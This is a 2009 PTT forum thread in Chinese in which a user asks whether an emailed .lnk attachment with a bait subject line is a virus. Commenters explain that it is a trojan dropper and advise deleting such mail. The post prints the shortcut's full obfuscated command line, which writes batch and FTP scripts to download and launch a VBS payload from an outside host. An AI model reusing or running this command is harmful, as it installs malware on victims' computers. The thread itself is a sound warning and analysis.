作者fullid (曖曖內含光)
看板AntiVirus
標題[問題] 病毒有可能偽裝成.lnk嗎?
時間Sat Apr 25 21:55:43 2009
我收到一封朋友寄的信, 標題是"我要公佈我的秘密情人!"
裡面只有一個附檔, 副檔名是.lnk,
我先試著用ultraedit打開, 結果一下子閃過好幾個類似像在解壓縮的視窗,
沒看清楚.
後來查看內容, 想看看這lnk目標是哪裡, 結果如下:
%ComSpec% /c echo set a=.>z.bat&echo echo o www%a%g03z%a%com^>l>>z.bat&call
z.bat&echo aa33>>l&echo bb33>>l&echo set s=echo g>m&echo set vt=tp ->>m&echo
%s%et p p.vbs^>^>l>>m&echo echo bye^>^>l>>m&echo f%vt%s:l>>m&echo start
p.vbs>>m&ren m s.bat&s.bat&
請問這是某種病毒嗎? 我剛google過並沒看到類似的東西...
--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 72.66.29.142
1F：推 xiaoyao:應該會有木馬下載 斷網掃毒 04/25 22:04
2F：推 junorn:就利用cmd的批次語法寫入一個vbs後在下載木馬到電腦內 04/25 22:08
3F：推 bestpika:這病毒出很久了.... 04/25 22:09
4F：推 mantohu:收了十年的信真的沒收過朋友會寄這種標題的... 04/25 22:13
5F：推 ilanese:反正遇到奇怪的檔案就不要亂開就對了。 04/25 22:28
6F：→ chyl:這類信我一律刪,不會想去看 04/25 23:15
7F：推 vaca1:即使是認識的朋友寄的 也不要開 朋友也有可能中木馬 04/26 00:19
8F：推 knight00931:有標題就可以未看先猜了 04/26 01:01
9F：推 doom3:恭喜中標XD 04/28 09:01